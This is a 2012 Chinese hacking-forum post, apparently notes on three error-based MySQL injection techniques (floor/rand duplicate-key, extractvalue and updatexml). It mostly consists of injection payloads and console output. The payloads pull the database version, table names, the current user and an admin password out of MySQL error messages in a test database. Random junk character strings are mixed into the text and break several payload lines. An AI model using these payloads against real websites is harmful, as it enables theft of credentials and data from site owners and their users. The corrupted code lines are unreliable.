找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2268|回复: 0
打印 上一主题 下一主题

关于Mysql注入过程中的三种报错方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-10 10:28:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。! @% `, z, P: [4 [: ^
实际测试环境:8 x8 I3 M4 |+ a' G

7 W0 U! j( L/ p : E) ^( k$ u+ {# n  A- e4 N- A+ i* j
mysql> show tables;5 g/ M& K& e# g4 \) N1 P
+----------------+
' Y* d: Z/ k; B' }# S; P| Tables_in_test |
2 w+ B$ q! a% |& n' h( g# L+----------------+
# |% P& T: i) l% z* c| admin          |
; S; A5 K4 T2 c3 i$ t| article        |: p* \7 v9 ^6 e" [$ d8 \( R0 |: F7 p
+----------------+8 Q( r; {4 X* k
8 d2 S$ J6 O- m$ r9 X( l& b
/ {( T2 j4 t% h6 J8 y, s, H
9 L1 c0 L7 y* ]- @( D/ n0 }* V
mysql> describe admin;9 ?. ]; Y0 I$ Z0 g9 h# \
+-------+------------------+------+-----+---------+----------------+
& r8 ~# F$ F4 B! S  ^| Field | Type             | Null | Key | Default | Extra          |
; q, F* H4 m( b2 {' ^+-------+------------------+------+-----+---------+----------------+
6 m2 D* M* |) U8 T: B0 o| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |+ ^/ o2 G; `) P
| user  | varchar(50)      | NO   |     | NULL    |                |1 J( N. E; P0 f
| pass  | varchar(50)      | NO   |     | NULL    |                |/ z: u  e' M" d4 H
+-------+------------------+------+-----+---------+----------------+
' A) A  r8 i4 E1 m4 w
4 J$ N, g& @3 t8 B7 e
2 _; o$ P6 X* z. n 3 M9 I6 ~( n6 ^5 ^2 z- ?& Z8 ?
mysql> describe article;3 ^' V0 y& \( _! z
+---------+------------------+------+-----+---------+----------------+# B  w  x9 n3 B2 O& p2 p- o1 C2 }
| Field   | Type             | Null | Key | Default | Extra          |
. p' r' T6 d' `6 F& R+---------+------------------+------+-----+---------+----------------+; E* @, S6 T$ Y7 w% ], p; \4 o
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |5 X% ^3 T, |' l. \6 m1 w
| title   | varchar(50)      | NO   |     | NULL    |                |4 T/ h! h6 R) W1 f$ v4 p- A" r4 s
| content | varchar(50)      | NO   |     | NULL    |                |
7 `+ h1 p& d8 i/ W' C  n0 u+---------+------------------+------+-----+---------+----------------+8 c' u8 d" O7 C2 F4 L" |3 `
1、通过floor报错4 s( @" p/ l3 T) S9 Q# U- h" I& r
可以通过如下一些利用代码
7 [% Z4 ^" D: \1 J% }! d# Z' A* R1 D   i0 u" E" s) M& l- L0 C+ L* _
- E+ p' D3 \& p0 m+ b7 b
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
- q  w2 N& q# B9 O8 efrom information_schema.tables group by x)a);* A+ j/ i' |0 ^! I1 P

* Y( f7 F2 u/ b" w! E- R' i
8 c  _. Y6 S8 i9 w2 K! yand (select count(*) from (select 1 union select null union select !1)x
0 \" e( ]1 s6 Q4 Kgroup by concat((select table_name from information_schema.tables limit 1),
$ I; z! I: C) L: @, c) g: Zfloor(rand(0)*2)));
" Z7 B# ?, @0 t1 V1 M$ W; k, l举例如下:
: p% a) l  e" e) R% C0 F5 @. w! [首先进行正常查询:
2 t0 ~- {, g8 |$ J* D
& r3 [! E* O8 Xmysql> select * from article where id = 1;% H, w5 A- u3 x' f* v
+----+-------+---------+4 Q. j2 D. m* ^, x: a' I
| id | title | content |) T5 @6 b3 T, ~4 V- ?  b
+----+-------+---------+
5 Z+ U5 f8 J+ o& W0 ?|  1 | test  | do it   |
& A! t3 {  l7 ^( ?  o# K+ B% I$ x9 ^6 }+----+-------+---------+
' Z4 g3 f* F4 s. f假如id输入存在注入的话,可以通过如下语句进行报错。/ d# ]" T( k$ L5 T

9 `# L  h( X) r# O9 ~ , v, L- e: S: Y& K/ W2 w
mysql> select * from article where id = 1 and (select 1 from
. f5 C7 L9 y) @( {7 \- f) u$ w(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
" M/ o5 X1 k2 [* A5 q  jERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
" O0 @# W* K( a9 f# W可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。7 b3 Z5 [5 f, g& b& L
例如我们需要查询管理员用户名和密码:8 [* K* Z- @4 C3 K. E& ^; n
Method1:7 x, d- X7 `" q4 l4 e: a
; W: D  \$ m+ h' u$ }  G! I0 w
. D) a/ m3 F. D. o. {5 n
mysql> select * from article where id = 1 and (select 1 from) ]. h5 _7 U$ R: R. g
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
4 m# O( `- `2 \& a  D+ lfrom information_schema.tables group by x)a);3 r. H( {% z  ]& j8 _3 y8 r
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'  |9 l' @& h) [! J0 ]
Method2:) R* B6 l) h  h: k

) g, m2 _- g. L/ ^. L% o
# L7 S/ N* b  K; j% Mmysql> select * from article where id = 1 and (select count(*)
' W" k4 P8 [: \% A5 q9 c, R2 ?from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),& H$ K* h# U, l: O+ X6 O
floor(rand(0)*2)));$ ^, D8 t: t4 B( h! j
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
/ i8 W8 {8 \* C( y9 _2、ExtractValue
* o2 J6 C- u  i" w2 c# z测试语句如下
& H7 E6 U! @5 y, } 0 l" F2 ~$ S0 O+ D! O9 {# d

" l+ {* K. \0 ~and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));* T% r# q; N. `
实际测试过程
. s$ ^3 g9 J6 i2 P$ }, ? % R* A3 `( Q* E8 s2 i  q
& e) W1 F9 }7 i7 f
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
* ]( d5 u1 k$ _  Q9 f' v(select pass from admin limit 1)));--
+ t" q% q7 }0 ?' y" P) p( YERROR 1105 (HY000): XPATH syntax error: '\admin888'0 d9 w. f$ }6 n% A$ z
3、UpdateXml
+ [# a( B( G+ ]4 i. X测试语句+ y3 y2 ^4 r( e8 p; d
+ e; w0 s, y' ?+ d7 H# @9 R" U2 v

; U4 i, _5 p  Q& _( X* R# sand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))6 w2 b* P2 @( n2 Y( E
实际测试过程
1 S/ K" c( j4 K! M2 m
( N( i, W- e7 }9 U) C$ f
0 B+ Z! _7 B# c( ]mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,' P9 b& H, P. q% o. k* m
(select pass from admin limit 1),0x5e24),1));5 x2 `1 V+ Z5 S+ n* U/ {) a  [
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$': e& ]; z. v0 ^) N" d9 ]8 q
All, thanks foreign guys.
7 z' R8 t- B! y5 u7 m4 Y& J
8 E4 r7 o! D$ J, \2 m; {
- |4 k/ C' }/ @) M7 n- b) A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表